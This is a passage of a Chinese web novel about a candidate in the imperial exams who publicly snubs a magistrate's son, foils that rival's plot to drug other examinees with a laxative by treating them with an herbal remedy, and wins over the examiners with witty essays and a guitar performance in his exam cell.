他话锋一转,露出恰到好处的为难神色:“实在抱歉得紧!赵公子您来晚了一步,今日这批货数量实在有限,早已被各位提前预定的相公们订完了。您看这些堆着的,都是名花有主,只是暂存小店等待主人来取的。实在是……没有余货能售予公子您了。”
林安话说得滴水不漏,客气周到但拒绝的意思斩钉截铁。
赵公子闻言一愣,简直不敢相信自己的耳朵。
他指着摊位上明明堆得跟小山似的套装,气得鼻子都歪了。
他怒吼道:“放**狗屁!你当本公子是瞎子吗?这明明还有这么多!堆得跟山一样!你说售罄?骗鬼呢!林闲呢?叫他滚出来!是不是他故意让你刁难本公子?!”
这一声怒吼,顿时将周围所有人的目光都吸引了过来。
人群开始窃窃私语,指指点点,不少人脸上露出看好戏的表情。
林安面对赵公子的暴怒,面不改色心不跳,依旧是那副恭敬而无奈的模样。
他微微欠身,解释道:“赵公子息怒,您误会了。东家事务繁忙,岂是小的能随意请动的?这些货确实是已经被各位相公全款预订了的,账目清晰,小人岂敢欺瞒?只是暂存于此,方便取用而已。若是卖给了您,待会儿相公们来取货,小人拿什么交代?岂不是要砸了闲雅阁招牌?小本经营,诚信为先,童叟无欺,这是东家定下的铁律。还请公子体谅小人的难处,莫要让小人难做啊。”
“你……你强词夺理!狗仗人势!”
赵公子被这番软钉子顶得胸口发闷,他何时受过这种**?
尤其是在这大庭广众、众目睽睽之下!
他感觉脸上火辣辣的,恼羞成怒之下他猛拍柜台,震得那锭银子都跳了一下,随后厉声喝道:“少废话!本公子今天还非买不可了!你知道我爹是谁吗?按察使!信不信我爹一句话,让你这破店开不下去!”
就在这时,一个平静而带着一丝戏谑的声音从人群后方传来:“哦?赵公子好大的官威啊。不知按察使大人,何时开始管起这市井商贾、公平买卖的小事了?”
众人循声望去,自动分开一条道路。只见林闲一身青衫,从容不迫地缓步走来。
他平静扫过气得发抖的赵公子,嘴角带着一丝若有若无的嘲讽。
林闲走到近前,先对林安点了点头,示意他做得很好。
然后他才看向赵公子,语气淡然却带着无形的压力:“赵公子,可是对我‘闲雅阁’的规矩有什么不满?”
赵公子见到正主,更是气不打一处来,指着林闲的鼻子:“林闲!你少装糊涂!是不是你指使下人故意刁难本公子?这些货明明还有,为何不卖与我?”
林闲轻拨开几乎指到自己脸上的手指,微微一笑,笑容中却带着冷意:“赵公子言重了。做生意,讲究个你情我愿。林某的货,想卖给谁,似乎……还轮不到公子你来指手画脚吧?”
“你……你这是歧视!”赵公子词穷,开始胡搅蛮缠。
林闲环视四周越来越多围观的士子,朗声道:“诸位相公都是明理之人。林某制作此‘闲雅套装’,本意是助我辈学子能以更佳状态应对大考,乃是同道相助之心。然,林某亦有林某的规矩。”
随后他郑重笑道:“赵公子此言差矣。我‘闲雅阁’开门做生意,讲究的便是信义二字。货已预订,岂能因公子身份尊贵而毁约?若是今日卖给了公子您,我林闲日后在江陵府,还有**誉可言?还有何面目见这些早早信任、预订我货的各位相公?”
他顿了顿扫过围观的士子们,声音提高了几分,既
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是说给赵公子听,更是说给所有人听:“再者说令尊按察使大人执掌一省刑名,最重的是什么?是法度,是规矩!这先来后到信守承诺,便是最基本的商业规矩,亦是为人处世的道理。”
他见众人越聚越多,这才卡点继续:“公子您身为按察使的公子,更应深明大义以身作则,维护这规矩二字才是。怎能因一己私欲便要强买强卖,行此仗势欺人之举?这若是传扬出去,知道的说是公子您心急购物,不知道的还以为按察使大人治家不严,纵容子侄扰乱市集呢!这……恐怕于令尊的清誉有碍吧?”
这一番话,句句在理字字诛心!
既抬出了“信义”和“规矩”这两面大旗,又巧妙地把赵公子的父亲、按察使赵宪抬了出来,扣上了一顶“遵守法度”、“以身作则”的大帽子,最后更是直接点出“影响父亲清誉”的致命要害!
赵公子被噎得瞠目结舌,脸上一阵红一阵白,指着林闲“你……你……”了半天,却一句反驳的话也说不出来。
最后他只得强词夺理道:“别以为本公子不知道你还有存货!明天没人预定吧?”
林闲实在不愿意同他纠缠,很干脆道:“有也不卖!”
赵公子立刻抓住把柄,大声问道:“本公子招你惹你了?为啥不卖与我?这就是你林闲所谓的公平?”
这一问,让不少学子被蒙蔽,以为林闲是个小心眼。
林闲目光转向赵公子,声音陡然提高道:“招我惹我?问得好!既然你问了,今天咱们当众挑明了!我闲雅阁的规矩就是不卖与无德之人,你父子二人先是纵子行凶屡次辱我,后更滥用职权查封我产业欲断我生路。如此行径,与强盗何异?今日你还想用从我这里赚来的银子,买我的东西?天下岂有这般道理!我林闲的骨头还没那么软!”
林闲这一番话,彻底揭开赵公子遮羞布。
将赵家父子的丑行当众揭开,并明确宣布了拒售原则。
“说得好!”
“林案首有骨气!”
“赵家也太欺负人了!”
“活该!有钱也不卖给他!”
在周围一片压抑不住的嗤笑声和看猴戏般的目光中,他感觉自己就像个被扒光了衣服示众的小丑。
羞愤、难堪、无力感交织在一起,让他几乎要晕厥过去!
最终,赵公子狠狠一跺脚,从牙缝里挤出几个字:“好!好你个林闲!牙尖嘴利!咱们……秋闱场上见真章!我们走!”
说罢他再也无颜待下去,带着跟班在众人哄笑声和指指点点的目光中,灰溜溜挤开人群,堪称大型社死现场!
林闲看着他那仓皇狼狈、几乎要同手同脚的背影,淡淡对林安吩咐道:“林安,继续售卖,维持好秩序。诚信经营,童叟无欺,是我‘闲雅阁’的根本。”
经此一闹,闲雅套装更加名声大噪!
【按察使公子都买不到的考场神器!】
这个标签瞬间传遍士林,抢购热潮达到了前所未有的高潮!
林闲用一次酣畅淋漓的“定向拒售”,不仅狠打赵公子的脸,更是做了一次效果**的反向营销,将其个人恩怨转化为了强大的品牌宣传。
其手段之高明,心思之缜密,应对之犀利,让人叹为观止!
第八十四章 暗藏祸心:考场毒计
秋闱之日终于到来。
寅时刚过,贡院门前已是黑压压一片人头攒动。
各省士子手提考篮,面容肃穆中透着难以掩饰的紧张,在衙役呼喝声中排成长龙,等待搜检入场。
空气弥漫着墨香汗臭,还有令人心悸的焦虑。
赵公子缩在人群靠前的位置,脸上早已没了前几日的嚣张,取而代之的是阴沉和得意。
昨夜他对林闲当众羞辱的刻骨恨意,最终催生出一条无比恶毒的计策。
他深知考场规矩,九天饮食由官府提供,但允许自带少量耐存干粮。
他花费重金,买通了负责搜检行李的一个小吏头目。
此人同时也是其父赵宪早年安插的一枚暗棋,赵公子递给他一种特制的药粉(无色无味,服下后约一两个时辰才会发作,引发剧烈腹痛、难以忍受的腹泻。)
他要小吏在搜察时,将这药神不知鬼不觉地撒入特定考生的干粮之中。
赵公子特别交代,重点“关照”对象有三:一是与林闲交好、曾为其摇旗呐喊者。二是那些购买了“闲雅套装”、在他看来是趋炎附势的富家子弟。三是几个平素与他有隙、屡屡冲撞他的对头。
他要让这些人在开考的关键时刻,在众目睽睽之下出尽洋相狼狈出恭,甚至虚脱昏厥,被迫放弃考试。
同时他要让林闲亲眼看着他的“盟友”和“拥趸”是如何被他赵公子**于股掌之上,却无能为力……
很快搜检开始。
轮到林闲时,他坦然张开双臂。
那名被买通的小吏头目眼神闪烁,动作格外“细致”地翻检着他的考篮,尤其在装有肉脯和烙饼的油纸包上停留许久,手指似乎无意想捻动。
林闲心中警铃微作,此人目光游移不似寻常胥吏。
但在他仔细审视下,那小吏似乎有所忌惮,并未敢再有什么动作。
林闲暗自决定更加小心,为保险起见他将小吏接触过的食物单独放好。
很快考生们如流水般通过闸口,涌入那象征着荣耀与煎熬的贡院。
按照号牌顺序,鱼贯进入一个个仅容旋踵、阴暗潮湿的号舍。
号舍内一板一凳,四壁空空,如同囚笼。
辰时正三声鼓响,沉重的大门轰然关闭,锁链声刺耳,意味着秋闱正式开启。
九天的煎熬,就此拉开序幕。
按照惯例在发放试卷前,先由差役分发第一顿早饭——清可见底的稀粥和一碟寡味的咸菜。
许多士子为了赶考,起得太早,此刻早已饥肠辘辘。不少人便先拿出自带的干粮,就着稀粥匆匆垫腹。
祸根就此埋下,毒计悄然启动。
约莫一个时辰后,试卷尚未下发,考场内异变陡生!
起初,只是某个角落传来压抑的闷哼。
紧接着如同点燃了引线,痛苦的**此起彼伏,迅速连成一片。
只见不少士子脸色骤然惨白,冷汗如浆从额头渗出。他们双手捂住腹部,身体蜷缩成一团。甚至有人从凳子上滑落,瘫软在地。
“哎……哎呦!我的肚子……痛煞我也!”
“不、不行了……大人!学生要出恭!急!”
“噗——”(不堪入耳之声)
一时间,原本庄严肃穆、落针可闻的考场,彻底乱了套!
**声、告急声、慌乱的脚步声、以及从茅厕方向传来的污秽之气交织在一起,秩序荡然无存。
监考的御史、学政官员们面面相觑,脸色铁青。
他们主持科考多年,何曾见过这等骇人景象?这简直是斯文扫地,科场丑闻!
而始作俑者赵公子,躲在自家的号舍里嘴角难以抑制地向上咧开,形成一个极其恶毒而扭曲的笑容。
计划成功了!
他几乎能想象出林闲此刻那惊慌失措、徒呼奈何的蠢样!
痛快!实在是太痛快了!
然而,他高兴得太早了。
林闲在号舍中,将外面的骚动与惨状听得一清二楚。
他心中巨震,瞬间明了!
这绝非偶然的集体食物**,这是有针对性的、蓄谋已久的**,目标直指与他相关的士子!
赵公子那张怨毒的脸和搜检小吏诡异的动作,立刻浮现在他脑海……
“好狠毒的手段!这是要断人前程,甚至可能要人性命!”
林闲心中怒火升腾,但越是危急他越是冷静。
他迅速检查自己携带的所有干粮和饮水,确认无恙后心中稍定。
但听着外面同窗们痛苦的哀嚎,他知道不能再犹豫片刻。
每拖延一分,就多一分危险,多一个寒窗十年的梦想破碎!
他猛地站起身,用力拍打号舍隔板喊道:“巡场大人!巡场大人何在!学生有十万火急之事禀报!”
一名巡场官正焦头烂额,闻声怒气冲冲赶来:“何事喧哗!不知考场规矩吗?!”
林闲拱手,语速极快却字字清晰:“大人明鉴!考场内有数十名士子突发急症,症状高度相似,皆为剧烈腹痛水泻不止。此绝非寻常腹泻,乃是**之兆。学生敢断言,此乃有人蓄意**破坏大比!”
“**?!”
巡场官倒吸一口凉气,脸色骤变。
林闲不给对方思考时间,继续沉声劝道:“学生不才,平日涉猎医书。随身恰带精心配制的黄连素散,专克各种急症腹泻。恳请大人速速上报主考,准许学生施药救人。迟则恐生变故,若有士子因此殒命科场,大人亦难辞其咎!”
林闲的“案首”身份,此刻成了最大的信誉保障。
巡场官见他说得斩钉截铁,且情况确实危急异常不敢怠慢,立刻飞奔上报。
主考官闻讯,亦是骇得魂飞魄散!
科场集体**若是真的,他这项上乌纱恐怕都难保。
此刻也顾不得许多,一边厉声下令彻查所有饮食水源,一边抱着死马当活马医的心态,紧急特许林闲在官差严密监视下施药救人。
得到许可,林闲立刻行动。
他拿出那个小巧的瓷瓶,里面是他根据前世知识,用黄连等草药反复提纯研磨出的精华粉末。数量本就不多,极其珍贵。
他小
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心倒出少许用清水化开,首先扶起离他最近、已经意识模糊的年轻秀才,将其缓缓灌下。
所有还能保持清醒的人,无论是**者还是幸免者,都屏息凝神看着这一幕。
时间仿佛过得极慢……又极快。
约莫一刻钟后,奇迹发生了!
那位原本气若游丝的秀才,**声渐渐停息。
紧皱的眉头缓缓松开,虽然依旧虚弱,但蜡黄的脸竟回缓了一丝血气。
他艰难睁开眼,看向林闲的目光充满无限感激,虚弱谢道:“林……林兄……药……有效……肚痛……好些了……”
“哗——!”
这一幕,如同在黑暗的考场中点燃了一道希望的火炬!
“有效!林案首的药有效!”
“闲先生有解药!我们有救了!”
“林兄!救救我!救我!”
顿时所有**的士子,如抓住了救命稻草。
在官差的维持下,林闲将自己本就不多的黄连素散分成极微的剂量,优先给予症状最危急的同窗。
他动作沉稳语气温和,一边分发药水,一边朗声安抚,声音清晰传遍每个角落:
“诸位同窗坚持住!此药虽不能立刻根除毒性,但足以压制症状。我已禀明大人彻查毒源,必不让宵小之徒逍遥法外。稳住心神,方能继续考试!”
他有限的药粉此刻却如同甘露,每一滴都承载着一个士子的前程和希望。
服下药的人腹痛很快得到缓解,虽然身体被掏空般虚弱,但至少保住了留在号舍考试的资格。
他们看向林闲的眼神,充满了难以言表的感激。
“林兄活命之恩,重于泰山!此生必报!”
“若非闲先生仁义,小弟今日必葬身于此陋巷矣!”
“闲先生真乃科场及时雨,江南士林之楷模!”
就连那些未曾**、原本对林闲观感复杂的士子,见此情景也无不动容,心中对林闲的仁心、胆识和担当肃然起敬。
这份临危救难、不计前嫌的胸怀,远比什么诗词才华更令人心折!
而躲在号舍中的赵公子,此刻已经完全傻眼!
他脸上的恶毒笑容早已僵死,他千算万算也算不到林闲居然随身带着解毒奇药,更算不到他会无私将药分给众人。
他的毒计非但没有让林闲身败名裂,反而成了林闲搭建万人敬仰高台的垫脚石。
听着外面那一声声对林闲的感恩戴德,对比自己这阴暗角落里的算计,他只觉得一股腥甜涌上喉头,气得几乎要吐血三升!却只能死死咬住嘴唇,将无尽的悔恨和恶念咽回肚里,独自品尝这自作自受的苦果。
经此一役,林闲在学子中的声望达到前所未有的巅峰。
才学冠绝,仁心义胆,临危不乱,救同侪于水火!
这份沉甸甸的恩情和人望,将成为他未来道路上最坚实的屏障。
而林闲则淡然一笑。
这场秋闱从毒计被破的那刻起,他已经在另一个层面上,取得了决定性的胜利。
接下来,便是第一门的角逐……
第八十五章 科场清流:爆梗惊四座
等考生们腹泻基本止住,林闲这才开始安置笔墨。
之后他并未像周遭学子那般,或正襟危坐如临大敌,或口中念念有词临时抱佛脚。
而是定了定神,从考篮里取出个小巧玲珑的琉璃瓶——清心醒神露。
他拔开塞子后,一股清冽的薄荷混搭着冰片的香气,瞬间冲破号舍的闷浊弥漫开。
林闲惬意深吸一口气,用指尖蘸取少许液体涂抹在两侧太阳穴和人中处。
顿时一股凉意直冲天灵盖,将残存的困倦和周遭的污浊气息一扫而空。
他整个人变得神清气明,思维前所未有的清晰。
这还不算完。
接着林闲又取出一截做工精致的线香——驱蚊安神香(主要成分是陈年艾草、特选香茅和微量沉香)。
“啪!”
伴着一声轻响,他用火折子点燃后稳插于桌角缝隙。
一缕极细的青烟袅袅升起,迅速赶跑蚊虫,同时化解了号舍的霉味、汗味以及远处茅厕传来的异味。
这一番操作,“奢华”得让人眼红!
对面号舍那个同赵公子关系不错的胖士子,早已被蚊虫叮得满头是包。
忽然林闲那边飘来的提神香气飘过,蚊子瞬间都被熏跑隔壁咬别人了。
他惊喜之余,忍不住隔着栅栏哀求道:“对面那位兄台!你点的这是何仙家宝物?香味竟如此霸道提神!小弟快被这蚊虫啃成筛子了,可否借一缕仙气匀给小弟?小弟愿出高价!”
林闲抬头,见那胖士子一脸生无可恋,不由得莞尔一笑。
他带着戏谑回复道:“此乃特制的文思泉涌加速器与金榜题名安心香,独家秘方概不外售更不外借。”
他顿了顿,欣赏着对方瞬间垮掉的表情。
随即他憋笑补充道:“兄台若觉蚊虫扰人心烦意乱,不妨效法古之贤人多默念几遍《静夜思》,举头望明月,低头思故乡寄情于月,以无上意念驱之或可心静自然凉,蚊虫自退。”
那胖士子闻言目瞪口呆,嘴里嘟囔着:“《静夜思》驱蚊?”
看着手背上新添的红包,胖考生羡慕嫉妒的泪,终于不争气从嘴角流了下来——那是馋的!
在这诡异的氛围中,三声标志性的鼓响,打破了考场的沉寂!
试卷,开始发放!
第一场,考的是经义策论,乃是科举的重头戏。
题目是:《论格物致知与经世致用之关系,并试以漕运或农事为例详述之》。
题目一出,周围顿时响起一片倒吸凉气声。
这题看似是老生常谈的“格物致知”与“经世致用”,但后面要求结合具体的漕运或农事实务进行详述。
这就一下子把那些只会死记硬背、空谈性理的酸儒秀才打回了原形,极其考验考生的知识广度、务实见解和真正的治世之才。
顿时不少士子开始原形毕露,抓耳挠腮者有之,额头冒汗者有之,要么只能干巴巴地谈论“格物”如何重要,“致用”如何必要,两者如何相辅相成,空洞无物。
要么就是生硬堆砌一些道听途说来的漕运数据,文章干瘪得像晒干的咸鱼,毫无血肉灵魂。
而反观“玄”字第七号。
林闲在薄荷冰片和艾草沉香的赋能下,心境澄澈如镜思维活跃如泉。
他看到题目的那刻,差点笑场!
——这哪里是考题?这分明是考官拿着喇叭在他耳边喊:“林闲,请开始你的表演!”
他好整以暇铺开试卷,取出一支狼毫小楷。
在早已研好的浓墨中轻轻蘸饱,略一沉吟便落笔如飞,笔走龙蛇!
林闲开篇先是以精炼的文字引经据典,阐明“格物致知”乃是探究事物原理以获得真知,“经世致用”则是将所得真知应用于国计民生。
二者关系如鸟之双翼缺一难飞,车之两轮偏废则覆。
其立意高远,基础扎实。
紧接着他以更为复杂、更能体现管理能力的“漕运”为例,开始他的“泥石流”式论述:
“夫漕运之格物,非止于观舟行水上,空谈水能载舟,亦能煮粥之理也。(暗讽空谈者只会说废话)”
随后他层层推进,写得具体而微:
“格一艘漕船,须知其长几许、宽几许、吃水多深,载粮几何,何种船型更抗风浪?此乃格物之基,好比相亲先看家底,不能光听媒婆吹牛。”
“格一季漕粮,须知其何时征收,如何晾晒才能防霉防蛀,仓储损耗几何,押运途中又有多少漂没(巧妙暗示贪腐损耗)?”
“此乃格物之细,好比管家算账,得知道米缸到底有多少米,而不是天天喊勤俭持家。”
然后他深吸一口沉香,开启火力全开:
“若为官者,只知摇头晃脑背诵民以食为天,却不知漕船如何能多装快跑减少损耗。只空谈轻徭薄赋以示仁政,却不懂如何改革漕运制度、打击盘剥减轻百姓负担,那此等致用不过是“岸上教游泳——理论巨人,行动矮子”!”
批判之后,林闲继续举例何为真正的“经世致用”:
真正的经世致用,当如“老农种地”。优秀的老农必先格物(深入研究土壤墒情、气候规律、种子优劣),从而致知(掌握何时播种、如何施肥、怎样
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除虫),最终方能致用(获得丰收)。
若换成一个庸官,只会对老农拍桌子瞪眼高喊亩产必须过千斤,却不提供良种、不兴修水利、不防治病虫害,那么这位官老爷的致用,就是典型的“太监逛青楼——空有想法,无能为力”!
最后他结合“格物致知”的理念,提出了一系列具体务实、令人耳目一新的建议:
“故欲使漕运真正利国利民,必从格物入手:格物船型(研究流体力学),致知于减小阻力之法,致用于改良漕船提高航速效率。格物仓储(研究防潮防鼠技术),致知于保鲜减损之道,致用于建造新式粮仓,降低粮食损耗。格物吏治(研究管理制度漏洞),致知于贪腐滋生之由,致用于厘清权责严惩贪墨,保障漕运畅通。如此方为“磨刀不误砍柴工”之真格物致知,方能实现“漕运畅通,国富民安”之大道!”
整篇文章既有理论高度,又紧密贴合实际。
既有犀利批判,又有建设性意见。
更绝的是通篇穿插着各种接地气、形象生动。
甚至略带“粗俗”却一针见血的比喻和歇后语,将一篇原本可能枯燥无比的经义策论,写得妙趣横生。
读来令人时而忍俊不禁,时而拍案叫绝!
此刻按例巡视的巡场官,面容严肃走过一排排号舍,看到的不是抓耳挠腮就是愁眉苦脸。
当他摇摇头,最终路过“玄”字第七号时,猛地停下了脚步。只见此号舍不仅没有异味,反而清香怡人,那考生更是神采奕奕,下笔如有神助。
他好奇地凑近些,瞥了一眼试卷上的内容。
这一瞥不要紧,正好看到“太监逛青楼——空有想法,无能为力”那句。
巡场官浑身一僵,赶紧用手死死捂住嘴。
他老脸憋得通红,肩膀控制不住地剧烈耸动,差点当场破功笑出声来!
他强忍笑意,深吸几口气勉强平复下来。
再仔细往下看,越看越是心惊!
此子见解之深刻独到、逻辑之清晰缜密、比喻之精妙泼辣、建议之务实可行,实属他监考多年所未见!
这哪里是考生答卷?
这简直是一篇针砭时弊、充满智慧的政论奇文!
他深深看了林闲一眼,在心中重重记下了一笔:“玄字第七号,林闲……此子非常人也!文章竟能写得如此……如此清奇霸道。真乃科场一股泥石流!”
第一天的考试,就在林闲这爆梗的答题中,拉开了震撼人心的序幕。
他的这份答卷,必将在大周沉闷数百年的科举考场上,卷起一场狂野的波澜……
第八十六章 弦动九天:考场吉他独奏
第一天的考试,在傍晚时分画上了**。
当收卷的锣声敲响,整个贡院陷入一种茫然的死寂。
片刻之后,各种细碎的声响才如潮水般涌起。
空气中弥漫着墨臭、汗味和一种无形的精神压力。
大多数人瘫在硬木板上,揉着几乎抬不起来的胳膊和快要断掉的腰。
有人对着答卷一角不该出现的墨点捶胸顿足,有人则已经开始为明天更难的经义策论而忧心忡忡。
号舍区光线晦暗,只有零星烛火在秋夜的微风中摇曳,映照着一张张写满倦容与焦虑的脸庞。
在这片愁云惨淡中,玄字七号却是一派截然不同的景象。
林闲也感到疲惫,但他并未像旁人那样狼狈。
他先是缓缓做了几个伸展动作,活动开僵硬的肩颈。然后不慌不忙从考篮取出一个精致的竹筒杯,又拿出一个小巧的瓷罐,用自带小木勺舀出浓稠晶莹的野莓果酱放入杯中。
接着他提起那个始终温着的小暖壶,将热水冲入杯中,用勺子轻轻搅动。
顿时,一股酸甜馥郁的果香便袅袅升起,与周围沉闷的空气格格不入。
他惬意地呷了一口温热的果酱水,酸甜的滋味瞬间唤醒了有些疲惫的味蕾和精神。
这果酱是他找厨子特制,糖分高耐储存,维生素丰富,提神补充体力最好不过。
喝完果酱水,他又从考篮另一个格子取出一小包烘烤得酥脆的杂粮压缩饼干,就着水细嚼慢咽起来。
饼干里掺了芝麻、坚果碎,咸香可口,既能饱腹,又能补充能量。
周围号舍的士子,有的正对着官府发放的、冰冷梆硬、寡淡无味的馒头咸菜难以下咽,忽然闻到那股若有若无的酸甜果香,再瞥见林闲那副像在自家书房喝下午茶的惬意,眼睛都直了!
“嘶……那是什么?好香!”
“是……是果脯?还是蜜水?他怎么还有热水?”
“压缩饼干?那又是什么吃食?看起来很好吃的样子……”
“人比人得死,货比货得扔!咱们在这啃冷馒头,人家林案首却在喝香吃甜……这哪是来考试,简直是来郊游的吧!”
林闲对周遭羡慕嫉妒恨的目光恍若未觉,从容地用罢这顿简单却远超考场平均水平的“晚餐”。
他仔细收好餐具,用闲雅湿巾擦了手和脸。整个人感觉清爽了不少,疲惫也驱散了大半。
直到这时,夜色已深,贡院万籁俱寂,只有远处巡夜官单调的梆子声。
林闲才不紧不慢从特制带软衬的夹层里,取出那把紫檀木吉他。
当那把造型奇特的乐器在昏黄烛光下显现轮廓时,邻近几个号舍的士子已不是眼珠子瞪出来,而是差点把下巴惊掉了!
“乐……乐器?!他真带了乐器?!”
“刚才喝香吃甜,现在还要弹琴?这位爷……到底是来干啥的?”
“我连喘气都觉得累,他还有闲情逸致弹曲子?!”
林闲对这一切窃窃私语充耳不闻。他调整了一下坐姿,让自己靠得更舒服些,然后将吉他稳稳地抱在怀中。修长的手指,轻轻拂过琴弦,试了几个音。
“铮……淙……”
清脆、带着共鸣箱特有温暖质感的声音,如同珍珠落玉盘,骤然划破了贡院死寂的夜空!
这声音不同于任何他们熟悉的丝竹管弦,它更清越,更富有穿透力,带着一种难以言喻的……现代感?或者说,异域风情?
刹那间,以林闲的玄字七号为中心,方圆几十个号舍的骚动和叹息声,戛然而止!所有人都竖起了耳朵。
林闲没有弹奏任何激昂奋进的乐章,那太不合时宜。
他即兴拨动琴弦,一段舒缓、悠扬、带着淡淡布鲁斯味道(在这个时代听来就是极其新颖别致)的旋律,如月光下的溪流缓缓流淌开来。
他没有放声高歌,而是用一种略带沙哑、近乎呢喃的低沉嗓音,即兴吟唱起来,歌词直白,却无比贴合此情此景:
“月儿弯弯照贡院喽,号舍烛火映残卷……
九天六夜才开头呐,腰酸背痛想炕头……
(一段轻柔的指弹过门,旋律优美)
圣贤书卷堆成山嘞,一笔一划汗湿衫……
只盼文章能济世哦,不负寒窗十年苦……
(副歌部分,旋律稍稍扬起,带着一丝豁达)
弹一曲哎~解心烦~莫道前路独漫漫~
星光点点陪着我弹~明朝策马再闯关!
弹一曲哎~心放宽~功名二字且随缘~
但留清白在人间呐~胜过那朱紫千万般……”
这声音不大,却因夜色的静谧和吉他的共鸣,清晰传入了邻近许多士子的耳中。
幽怨、自嘲、又带着点看开的豁达,瞬间击中了无数人内心最柔软的地方!
“妙啊!此曲……此曲妙极!”
一个士子忍不住低声惊呼,差点忘了考场规矩。
“唱到我心坎里去了!‘腰酸背痛想炕头’……呜呜呜,我也想我娘烧的炕了!”另一位感同身受,几乎泪目。
“这是何乐器?音色竟如此奇特动听!这位仁兄,真乃奇人也!考场之上,焚香操琴,这是何等境界?”
“玄字七号……是那位‘闲雅阁’的林案首吧?果然非同凡响!竟带此物入考场?学政大人不管吗?”
“管?你听这词,‘但留清白在人间’,何等胸襟!学政大人听了,只怕也要赞一声‘雅兴’!”
很快,有人开始跟着旋律轻轻哼唱,尤其是那句
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“弹一曲哎~解心烦~”,简直成了排解压力的神句。一小片区域内的士气,竟然因为这突如其来的“考场音乐会”而悄然提升,焦虑被抚平,一种“同是天涯沦落人”的共情在默默流淌。
然而这么大的动静,怎么可能不引起管理者的注意?
几名提着灯笼、面色严肃的巡夜差役气势汹汹地循声而来,为首的小队长眉头紧锁,正要开口厉声呵斥“何人在此喧哗,扰乱考场秩序”,却被身后一只沉稳的手按住了肩膀。
众人回头,顿时吓得一缩脖子——来人正是本场乡试的副主考、主管一省学政的周大人!
周大人晚间例行巡视考场,也被这迥异于寻常的乐声所吸引。
他示意差役们噤声退后,自己则悄然隐在号舍旁的阴影里,捻须静听。
他听着那从未听过的乐器发出清越悠扬之声,听着那年轻士子用略带疲惫的沙哑嗓音,唱出备考的艰辛、身体的劳顿以及对志向的坚持。
歌词俚俗,甚至有些“打油”,却情真意切,尤其是最后那句“但留清白在人间,胜过朱紫千万般”,让为官多年、见惯风云的周学政,眼底也闪过一丝激赏。
他借着差役灯笼的微光,看清了号舍内那个怀抱奇异乐器、神情专注中带着一丝不羁的青年,正是他极为看好的林闲。
周学政没有立即现身,而是静静地听完了整首曲子,甚至在那段精彩的指弹过门时,微微颔首。
曲毕,周围一片寂静,唯有秋虫鸣叫。
周学政抚须沉吟片刻,脸上露出一丝带着玩味的笑,对身边的巡役队长低声道:
“此子,真妙人也!尔等不必惊扰。考场枯寂如坐牢笼,有此清音雅韵,既可舒士子之郁结,亦可显其心志之豁达,不为俗规所囿。嗯……颇有古名士之风流。由他去吧,只要不喧哗扰人清梦即可。”
得到副主考的金口玉言,差役们自然如蒙大赦,恭敬称是悄然退去。
周学政又驻足片刻,看了一眼玄字七号的方向,这才带着随从转身离开。
他心中对林闲的评价,又添上了“性情通脱,雅量高致”八字。
林闲一曲终了,周围渐渐恢复了寂静,但许多士子心中的烦躁却已被这意外的“精神按摩”抚平了不少。他轻轻放下吉他,小心地放回考篮,嘴角勾起一抹若有若无的笑意。他知道,这把吉他没有白带。这不仅舒缓了自身压力,或许还在那位关键的学政大人心中,留下了“此子非常人,心胸开阔,有古之名士风范”的深刻印象。
夜晚就在这独一无二的吉他余韵中,缓缓度过。
对于许多考生而言,这个夜晚因玄字七号那场短暂的“音乐会”,大概会变得有些不同……
第八十七章 经义新解:考官憋笑
第二日清晨,贡院内气氛比昨日更加凝重,几乎能拧出水来。
经过一夜硬板床的煎熬和精神的折磨,许多士子眼圈乌黑,面色蜡黄,神情萎顿得像霜打的茄子。
号舍间的气味也更加复杂难言,汗臭、墨臭、还有隐隐的……夜来香的余韵交织在一起,令人窒息。
唯有林闲的“玄”字第七号,依旧飘散着淡淡的驱蚊香和薄荷清露的提神气息,让他看起来精神饱满,与周遭的“丧尸”群形成了惨烈对比。
三通鼓响,试卷发下。
第二场考的是经义,题目出自《孟子·梁惠王上》,要求阐发孟子“重义轻利”的思想,并结合时政论述。
这题目一出,整个号舍区先是死寂一瞬,继而爆发出更加密集的“沙沙”声,如同千万春蚕啃食桑叶。士子们纷纷精神一振(回光返照般),这可是送分题啊!
考生一个个立刻进入状态,引经据典奋笔疾书,大谈“君子喻于义,小人喻于利”,痛斥“利”字如何败坏人心、瓦解社稷。
文章写得天花乱坠,正气凛然,恨不得立刻与“利”字划清界限,标榜自己是一尘不染的道德完人。
对面的赵公子更是心中窃喜,这题目他不知背过多少范文,立刻笔走龙蛇,什么“舍生取义”、“存天理灭人欲”的句子往上堆砌,字迹华丽,自觉稳了。
然而林闲拿到题目,扫了一眼差点笑喷。
这不就是去年在族学上打脸林家酸秀才时出的利和义的辩证题么?
他脑海中瞬间闪过一年前,在林氏族学里那个倚老卖老、满口酸腐的老秀才,也是拿着这个“义利之辨”来刁难他。
当初那同族秀才想给他这“不服长房管教”的林闲一个下马威,结果他就是用一番“公利私利之辨”,把那个老秀才驳得面红耳赤、哑口无言!没想到时隔一年,在决定无数人命运的秋闱考场上,竟又遇到了这道题!
“真是天道好轮回啊……”
林闲心中暗笑。
不过这老掉牙的题目,若按常规套路答,无非是重复先贤语录堆砌辞藻,千人一面。
想脱颖而出?
难!
他决定再来点“不一样”的,给阅卷官们提提神。
他好整以暇地磨墨,气定神闲。然后提笔蘸墨,先规规矩矩地开头,字迹工整,颇有法度:“孟子见梁惠王,首倡仁义而贬斥利字,实乃拔本塞源之论,为万世开太平之基也。”看起来中规中矩,甚至有点平庸。
但紧接着,他笔锋陡然一转,如同宝剑出鞘,寒光乍现!
“然学生窃以为,后世腐儒,读圣贤书而食古不化者,往往误解亚圣本意!”开篇第一句,就石破天惊!直接把矛头指向了“腐儒”和“食古不化”!
“孟子所言利,非指寻常之利,乃“唯利是图、锱铢必较”之暴利,“与民争利、损公肥私”之私利也!若将此利一棒子打死,则天下熙熙,皆为利来。天下攘攘,皆为利往,圣贤岂非要将天下人尽数斥为小人?”
他先给孟子的“利”划定了精准的靶子,然后开始“偷天换日”,大谈特谈“正当之利”的绝对必要性:
“若夫国利,乃仓廪实、武备修、百姓安居乐业之利,此利不合仁义乎?难道要让将士饿着肚子保家卫国?让百姓衣不蔽体空谈道德?此乃皮之不存,**将焉附!”
“若夫民利,乃耕者有其田、织者有其杼、商贾通其有无之利,此利不合仁义乎?若百姓终日辛劳,却不得温饱,则仁义道德,不过是空中楼阁、画饼充饥!”
他举了个极其生动(甚至粗俗)的例子,堪称灵魂暴击:
